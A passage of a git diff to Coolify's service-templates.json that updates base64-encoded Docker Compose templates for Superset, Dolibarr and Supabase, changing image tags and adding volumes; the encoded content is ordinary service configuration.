yL3Bvb2xlci5leHMpIiAmJiAvYXBwL2Jpbi9zZXJ2ZXInCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgdGFyZ2V0OiAvZXRjL3Bvb2xlci9wb29sZXIuZXhzCiAgICAgICAgY29udGVudDogIns6b2ssIF99ID0gQXBwbGljYXRpb24uZW5zdXJlX2FsbF9zdGFydGVkKDpzdXBhdmlzb3IpXG57Om9rLCB2ZXJzaW9ufSA9XG4gICAgY2FzZSBTdXBhdmlzb3IuUmVwby5xdWVyeSEoXCJzZWxlY3QgdmVyc2lvbigpXCIpIGRvXG4gICAgJXtyb3dzOiBbW3Zlcl1dfSAtPiBTdXBhdmlzb3IuSGVscGVycy5wYXJzZV9wZ192ZXJzaW9uKHZlcilcbiAgICBfIC0+IG5pbFxuICAgIGVuZFxucGFyYW1zID0gJXtcbiAgICBcImV4dGVybmFsX2lkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfVEVOQU5UX0lEXCIpLFxuICAgIFwiZGJfaG9zdFwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfSE9TVE5BTUVcIiksXG4gICAgXCJkYl9wb3J0XCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QT1JUXCIpIHw+IFN0cmluZy50b19pbnRlZ2VyKCksXG4gICAgXCJkYl9kYXRhYmFzZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9TVEdSRVNfREJcIiksXG4gICAgXCJyZXF1aXJlX3VzZXJcIiA9PiBmYWxzZSxcbiAgICBcImF1dGhfcXVlcnlcIiA9PiBcIlNFTEVDVCAqIEZST00gcGdib3VuY2VyLmdldF9hdXRoKCQxKVwiLFxuICAgIFwiZGVmYXVsdF9tYXhfY2xpZW50c1wiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX01BWF9DTElFTlRfQ09OTlwiKSxcbiAgICBcImRlZmF1bHRfcG9vbF9zaXplXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT09MRVJfREVGQVVMVF9QT09MX1NJWkVcIiksXG4gICAgXCJkZWZhdWx0X3BhcmFtZXRlcl9zdGF0dXNcIiA9PiAle1wic2VydmVyX3ZlcnNpb25cIiA9PiB2ZXJzaW9ufSxcbiAgICBcInVzZXJzXCIgPT4gWyV7XG4gICAgXCJkYl91c2VyXCIgPT4gXCJwZ2JvdW5jZXJcIixcbiAgICBcImRiX3Bhc3N3b3JkXCIgPT4gU3lzdGVtLmdldF9lbnYoXCJQT1NUR1JFU19QQVNTV09SRFwiKSxcbiAgICBcIm1vZGVfdHlwZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX1BPT0xfTU9ERVwiKSxcbiAgICBcInBvb2xfc2l6ZVwiID0+IFN5c3RlbS5nZXRfZW52KFwiUE9PTEVSX0RFRkFVTFRfUE9PTF9TSVpFXCIpLFxuICAgIFwiaXNfbWFuYWdlclwiID0+IHRydWVcbiAgICB9XVxufVxuXG50ZW5hbnQgPSBTdXBhdmlzb3IuVGVuYW50cy5nZXRfdGVuYW50X2J5X2V4dGVybmFsX2lkKHBhcmFtc1tcImV4dGVybmFsX2lkXCJdKVxuXG5pZiB0ZW5hbnQgZG9cbiAgezpvaywgX30gPSBTdXBhdmlzb3IuVGVuYW50cy51cGRhdGVfdGVuYW50KHRlbmFudCwgcGFyYW1zKVxuZWxzZVxuICB7Om9rLCBffSA9IFN1cGF2aXNvci5UZW5hbnRzLmNyZWF0ZV90ZW5hbnQocGFyYW1zKVxuZW5kXG4iCg==", "tags": [ "firebase", "alternative", @@ -4102,7 +4102,7 @@ "superset-with-postgresql": { "documentation": "https://github.com/amancevice/docker-superset?utm_source=coolify.io", "slogan": "Modern data exploration and visualization platform (unofficial community docker image)", - "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfU1VQRVJTRVRfODA4OAogICAgICAtICdTRUNSRVRfS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfU1VQRVJTRVRTRUNSRVRLRVl9JwogICAgICAtICdNQVBCT1hfQVBJX0tFWT0ke01BUEJPWF9BUElfS0VZfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LXN1cGVyc2V0LWRifScKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3N1cGVyc2V0L3N1cGVyc2V0X2NvbmZpZy5weQogICAgICAgIHRhcmdldDogL2V0Yy9zdXBlcnNldC9zdXBlcnNldF9jb25maWcucHkKICAgICAgICBjb250ZW50OiAiXCJcIlwiXG5Gb3IgbW9yZSBjb25maWd1cmF0aW9uIG9wdGlvbnMsIHNlZTpcbi0gaHR0cHM6Ly9zdXBlcnNldC5hcGFjaGUub3JnL2RvY3MvY29uZmlndXJhdGlvbi9jb25maWd1cmluZy1zdXBlcnNldFxuXCJcIlwiXG5cbmltcG9ydCBvc1xuXG5TRUNSRVRfS0VZID0gb3MuZ2V0ZW52KFwiU0VDUkVUX0tFWVwiKVxuTUFQQk9YX0FQSV9LRVkgPSBvcy5nZXRlbnYoXCJNQVBCT1hfQVBJX0tFWVwiLCBcIlwiKVxuXG5DQUNIRV9DT05GSUcgPSB7XG4gIFwiQ0FDSEVfVFlQRVwiOiBcIlJlZGlzQ2FjaGVcIixcbiAgXCJDQUNIRV9ERUZBVUxUX1RJTUVPVVRcIjogMzAwLFxuICBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9cIixcbiAgXCJDQUNIRV9SRURJU19IT1NUXCI6IFwicmVkaXNcIixcbiAgXCJDQUNIRV9SRURJU19QT1JUXCI6IDYzNzksXG4gIFwiQ0FDSEVfUkVESVNfREJcIjogMSxcbiAgXCJDQUNIRV9SRURJU19VUkxcIjogZlwicmVkaXM6Ly86e29zLmdldGVudignUkVESVNfUEFTU1dPUkQnKX1AcmVkaXM6NjM3OS8xXCIsXG59XG5cbkZJTFRFUl9TVEFURV9DQUNIRV9DT05GSUcgPSB7KipDQUNIRV9DT05GSUcsIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X2ZpbHRlcl9cIn1cbkVYUExPUkVfRk9STV9EQVRBX0NBQ0hFX0NPTkZJRyA9IHsqKkNBQ0hFX0NPTkZJRywgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfZXhwbG9yZV9mb3JtX1wifVxuXG5TUUxBTENIRU1ZX1RSQUNLX01PRElGSUNBVElPTlMgPSBUcnVlXG5TUUxBTENIRU1ZX0RBVEFCQVNFX1VSSSA9IGZcInBvc3RncmVzcWwrcHN5Y29wZzI6Ly97b3MuZ2V0ZW52KCdQT1NUR1JFU19VU0VSJyl9Ontvcy5nZXRlbnYoJ1BPU1RHUkVTX1BBU1NXT1JEJyl9QHBvc3RncmVzOjU0MzIve29zLmdldGVudignUE9TVEdSRVNfREInKX1cIlxuXG4jIFVuY29tbWVudCBpZiB5b3Ugd2FudCB0byBsb2FkIGV4YW1wbGUgZGF0YSAodXNpbmcgXCJzdXBlcnNldCBsb2FkX2V4YW1wbGVzXCIpIGF0IHRoZVxuIyBzYW1lIGxvY2F0aW9uIGFzIHlvdXIgbWV0YWRhdGEgcG9zdGdyZXNxbCBpbnN0YW5jZS4gT3RoZXJ3aXNlLCB0aGUgZGVmYXVsdCBzcWxpdGVcbiMgd2lsbCBiZSB1c2VkLCB3aGljaCB3aWxsIG5vdCBwZXJzaXN0IGluIHZvbHVtZSB3aGVuIHJlc3RhcnRpbmcgc3VwZXJzZXQgYnkgZGVmYXVsdC5cbiNTUUxBTENIRU1ZX0VYQU1QTEVTX1VSSSA9IFNRTEFMQ0hFTVlfREFUQUJBU0VfVVJJIgogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDg4L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LXN1cGVyc2V0LWRifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cGVyc2V0X3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cGVyc2V0X3JlZGlzX2RhdGE6L2RhdGEnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmVkaXMtY2xpIHBpbmcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgc3VwZXJzZXQ6CiAgICBpbWFnZTogJ2FtYW5jZXZpY2Uvc3VwZXJzZXQ6Ni4wLjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9TVVBFUlNFVF84MDg4CiAgICAgIC0gJ1NFQ1JFVF9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TVVBFUlNFVFNFQ1JFVEtFWX0nCiAgICAgIC0gJ01BUEJPWF9BUElfS0VZPSR7TUFQQk9YX0FQSV9LRVl9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotc3VwZXJzZXQtZGJ9JwogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vc3VwZXJzZXQvc3VwZXJzZXRfY29uZmlnLnB5CiAgICAgICAgdGFyZ2V0OiAvZXRjL3N1cGVyc2V0L3N1cGVyc2V0X2NvbmZpZy5weQogICAgICAgIGNvbnRlbnQ6ICJcIlwiXCJcbkZvciBtb3JlIGNvbmZpZ3VyYXRpb24gb3B0aW9ucywgc2VlOlxuLSBodHRwczovL3N1cGVyc2V0LmFwYWNoZS5vcmcvZG9jcy9jb25maWd1cmF0aW9uL2NvbmZpZ3VyaW5nLXN1cGVyc2V0XG5cIlwiXCJcblxuaW1wb3J0IG9zXG5cblNFQ1JFVF9LRVkgPSBvcy5nZXRlbnYoXCJTRUNSRVRfS0VZXCIpXG5NQVBCT1hfQVBJX0tFWSA9IG9zLmdldGVudihcIk1BUEJPWF9BUElfS0VZXCIsIFwiXCIpXG5cbkNBQ0hFX0NPTkZJRyA9IHtcbiAgXCJDQUNIRV9UWVBFXCI6IFwiUmVkaXNDYWNoZVwiLFxuICBcIkNBQ0hFX0RFRkFVTFRfVElNRU9VVFwiOiAzMDAsXG4gIFwiQ0FDSEVfS0VZX1BSRUZJWFwiOiBcInN1cGVyc2V0X1wiLFxuICBcIkNBQ0hFX1JFRElTX0hPU1RcIjogXCJyZWRpc1wiLFxuICBcIkNBQ0hFX1JFRElTX1BPUlRcIjogNjM3OSxcbiAgXCJDQUNIRV9SRURJU19EQlwiOiAxLFxuICBcIkNBQ0hFX1JFRElTX1VSTFwiOiBmXCJyZWRpczovLzp7b3MuZ2V0ZW52KCdSRURJU19QQVNTV09SRCcpfUByZWRpczo2Mzc5LzFcIixcbn1cblxuRklMVEVSX1NUQVRFX0NBQ0hFX0NPTkZJRyA9IHsqKkNBQ0hFX0NPTkZJRywgXCJDQUNIRV9LRVlfUFJFRklYXCI6IFwic3VwZXJzZXRfZmlsdGVyX1wifVxuRVhQTE9SRV9GT1JNX0RBVEFfQ0FDSEVfQ09ORklHID0geyoqQ0FDSEVfQ09ORklHLCBcIkNBQ0hFX0tFWV9QUkVGSVhcIjogXCJzdXBlcnNldF9leHBsb3JlX2Zvcm1fXCJ9XG5cblNRTEFMQ0hFTVlfVFJBQ0tfTU9ESUZJQ0FUSU9OUyA9IFRydWVcblNRTEFMQ0hFTVlfREFUQUJBU0VfVVJJID0gZlwicG9zdGdyZXNxbCtwc3ljb3BnMjovL3tvcy5nZXRlbnYoJ1BPU1RHUkVTX1VTRVInKX06e29zLmdldGVudignUE9TVEdSRVNfUEFTU1dPUkQnKX1AcG9zdGdyZXM6NTQzMi97b3MuZ2V0ZW52KCdQT1NUR1JFU19EQicpfVwiXG5cbiMgVW5jb21tZW50IGlmIHlvdSB3YW50IHRvIGxvYWQgZXhhbXBsZSBkYXRhICh1c2luZyBcInN1cGVyc2V0IGxvYWRfZXhhbXBsZXNcIikgYXQgdGhlXG4jIHNhbWUgbG9jYXRpb24gYXMgeW91ciBtZXRhZGF0YSBwb3N0Z3Jlc3FsIGluc3RhbmNlLiBPdGhlcndpc2UsIHRoZSBkZWZhdWx0IHNxbGl0ZVxuIyB3aWxsIGJlIHVzZWQsIHdoaWNoIHdpbGwgbm90IHBlcnNpc3QgaW4gdm9sdW1lIHdoZW4gcmVzdGFydGluZyBzdXBlcnNldCBieSBkZWZhdWx0LlxuI1NRTEFMQ0hFTVlfRVhBTVBMRVNfVVJJID0gU1FMQUxDSEVNWV9EQVRBQkFTRV9VUkkiCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODgvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE4JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1zdXBlcnNldC1kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjgnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBlcnNldF9yZWRpc19kYXRhOi9kYXRhJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JlZGlzLWNsaSBwaW5nJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "analytics", "bi", diff --git a/templates/service-templates.json b/templates/service-templates.json index aae653dac..ccd00c04c 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -851,7 +851,7 @@ "dolibarr": { "documentation": "https://www.dolibarr.org/documentation-home.php?utm_source=coolify.io", "slogan": "Dolibarr is a modern software package to manage your organization's activity (contacts, quotes, invoices, orders, stocks, agenda, hr, expense reports, accountancy, ecm, manufacturing, ...).", - "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0xJQkFSUl84MAogICAgICAtICdXV1dfVVNFUl9JRD0ke1dXV19VU0VSX0lEOi0xMDAwfScKICAgICAgLSAnV1dXX0dST1VQX0lEPSR7V1dXX0dST1VQX0lEOi0xMDAwfScKICAgICAgLSBET0xJX0RCX0hPU1Q9bWFyaWFkYgogICAgICAtICdET0xJX0RCX05BTUU9JHtNWVNRTF9EQVRBQkFTRTotZG9saWJhcnItZGJ9JwogICAgICAtICdET0xJX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdET0xJX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gJ0RPTElfVVJMX1JPT1Q9JHtTRVJWSUNFX0ZRRE5fRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0FETUlOX0xPR0lOPSR7U0VSVklDRV9VU0VSX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0NST049JHtET0xJX0NST046LTB9JwogICAgICAtICdET0xJX0lOSVRfREVNTz0ke0RPTElfSU5JVF9ERU1POi0wfScKICAgICAgLSAnRE9MSV9DT01QQU5ZX05BTUU9JHtET0xJX0NPTVBBTllfTkFNRTotTXlCaWdDb21wYW55fScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIG1hcmlhZGI6CiAgICBpbWFnZTogJ21hcmlhZGI6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01ZU1FMX0RBVEFCQVNFPSR7TVlTUUxfREFUQUJBU0U6LWRvbGliYXJyLWRifScKICAgICAgLSAnTVlTUUxfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gJ01ZU1FMX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JPT1R9JwogICAgdm9sdW1lczoKICAgICAgLSAnZG9saWJhcnJfbWFyaWFkYl9kYXRhOi92YXIvbGliL215c3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgZG9saWJhcnI6CiAgICBpbWFnZTogJ2RvbGliYXJyL2RvbGliYXJyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9ET0xJQkFSUl84MAogICAgICAtICdXV1dfVVNFUl9JRD0ke1dXV19VU0VSX0lEOi0xMDAwfScKICAgICAgLSAnV1dXX0dST1VQX0lEPSR7V1dXX0dST1VQX0lEOi0xMDAwfScKICAgICAgLSBET0xJX0RCX0hPU1Q9bWFyaWFkYgogICAgICAtICdET0xJX0RCX05BTUU9JHtNWVNRTF9EQVRBQkFTRTotZG9saWJhcnItZGJ9JwogICAgICAtICdET0xJX0RCX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdET0xJX0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTH0nCiAgICAgIC0gJ0RPTElfVVJMX1JPT1Q9JHtTRVJWSUNFX0ZRRE5fRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0FETUlOX0xPR0lOPSR7U0VSVklDRV9VU0VSX0RPTElCQVJSfScKICAgICAgLSAnRE9MSV9BRE1JTl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfRE9MSUJBUlJ9JwogICAgICAtICdET0xJX0NST049JHtET0xJX0NST046LTB9JwogICAgICAtICdET0xJX0lOSVRfREVNTz0ke0RPTElfSU5JVF9ERU1POi0wfScKICAgICAgLSAnRE9MSV9DT01QQU5ZX05BTUU9JHtET0xJX0NPTVBBTllfTkFNRTotTXlCaWdDb21wYW55fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvbGliYXJyX2RvY3M6L3Zhci93d3cvZG9jdW1lbnRzJwogICAgICAtICdkb2xpYmFycl9jdXN0b206L3Zhci93d3cvaHRtbC9jdXN0b20nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6ODAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1kb2xpYmFyci1kYn0nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9ST09UfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RvbGliYXJyX21hcmlhZGJfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBoZWFsdGhjaGVjay5zaAogICAgICAgIC0gJy0tY29ubmVjdCcKICAgICAgICAtICctLWlubm9kYl9pbml0aWFsaXplZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "crm", "erp" @@ -4088,7 +4088,7 @@ "supabase": { "documentation": "https://supabase.io?utm_source=coolify.io", "slogan": "The open source Firebase alternative.", - "compose": "c2VydmljZXM6CiAgc3VwYWJhc2Uta29uZzoKICAgIGltYWdlOiAna29uZzoyLjguMScKICAgIGVudHJ5cG9pbnQ6ICdiYXNoIC1jICcnZXZhbCAiZWNobyBcIiQkKGNhdCB+L3RlbXAueW1sKVwiIiA+IH4va29uZy55bWwgJiYgL2RvY2tlci1lbnRyeXBvaW50LnNoIGtvbmcgZG9ja2VyLXN0YXJ0JycnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkdfODAwMAogICAgICAtICdLT05HX1BPUlRfTUFQUz00NDM6ODAwMCcKICAgICAgLSAnSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBLT05HX0RBVEFCQVNFPW9mZgogICAgICAtIEtPTkdfREVDTEFSQVRJVkVfQ09ORklHPS9ob21lL2tvbmcva29uZy55bWwKICAgICAgLSAnS09OR19ETlNfT1JERVI9TEFTVCxBLENOQU1FJwogICAgICAtICdLT05HX1BMVUdJTlM9cmVxdWVzdC10cmFuc2Zvcm1lcixjb3JzLGtleS1hdXRoLGFjbCxiYXNpYy1hdXRoJwogICAgICAtIEtPTkdfTkdJTlhfUFJPWFlfUFJPWFlfQlVGRkVSX1NJWkU9MTYwawogICAgICAtICdLT05HX05HSU5YX1BST1hZX1BST1hZX0JVRkZFUlM9NjQgMTYwaycKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX0tFWT0ke1NFUlZJQ0VfU1VQQUJBU0VTRVJWSUNFX0tFWX0nCiAgICAgIC0gJ0RBU0hCT0FSRF9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0RBU0hCT0FSRF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQURNSU59JwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9hcGkva29uZy55bWwKICAgICAgICB0YXJnZXQ6IC9ob21lL2tvbmcvdGVtcC55bWwKICAgICAgICBjb250ZW50OiAiX2Zvcm1hdF92ZXJzaW9uOiAnMi4xJ1xuX3RyYW5zZm9ybTogdHJ1ZVxuXG4jIyNcbiMjIyBDb25zdW1lcnMgLyBVc2Vyc1xuIyMjXG5jb25zdW1lcnM6XG4gIC0gdXNlcm5hbWU6IERBU0hCT0FSRFxuICAtIHVzZXJuYW1lOiBhbm9uXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfQU5PTl9LRVlcbiAgLSB1c2VybmFtZTogc2VydmljZV9yb2xlXG4gICAga2V5YXV0aF9jcmVkZW50aWFsczpcbiAgICAgIC0ga2V5OiAkU1VQQUJBU0VfU0VSVklDRV9LRVlcblxuIyMjXG4jIyMgQWNjZXNzIENvbnRyb2wgTGlzdFxuIyMjXG5hY2xzOlxuICAtIGNvbnN1bWVyOiBhbm9uXG4gICAgZ3JvdXA6IGFub25cbiAgLSBjb25zdW1lcjogc2VydmljZV9yb2xlXG4gICAgZ3JvdXA6IGFkbWluXG5cbiMjI1xuIyMjIERhc2hib2FyZCBjcmVkZW50aWFsc1xuIyMjXG5iYXNpY2F1dGhfY3JlZGVudGlhbHM6XG4tIGNvbnN1bWVyOiBEQVNIQk9BUkRcbiAgdXNlcm5hbWU6ICREQVNIQk9BUkRfVVNFUk5BTUVcbiAgcGFzc3dvcmQ6ICREQVNIQk9BUkRfUEFTU1dPUkRcblxuXG4jIyNcbiMjIyBBUEkgUm91dGVzXG4jIyNcbnNlcnZpY2VzOlxuXG4gICMjIE9wZW4gQXV0aCByb3V0ZXNcbiAgLSBuYW1lOiBhdXRoLXYxLW9wZW5cbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1hdXRoOjk5OTkvdmVyaWZ5XG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBhdXRoLXYxLW9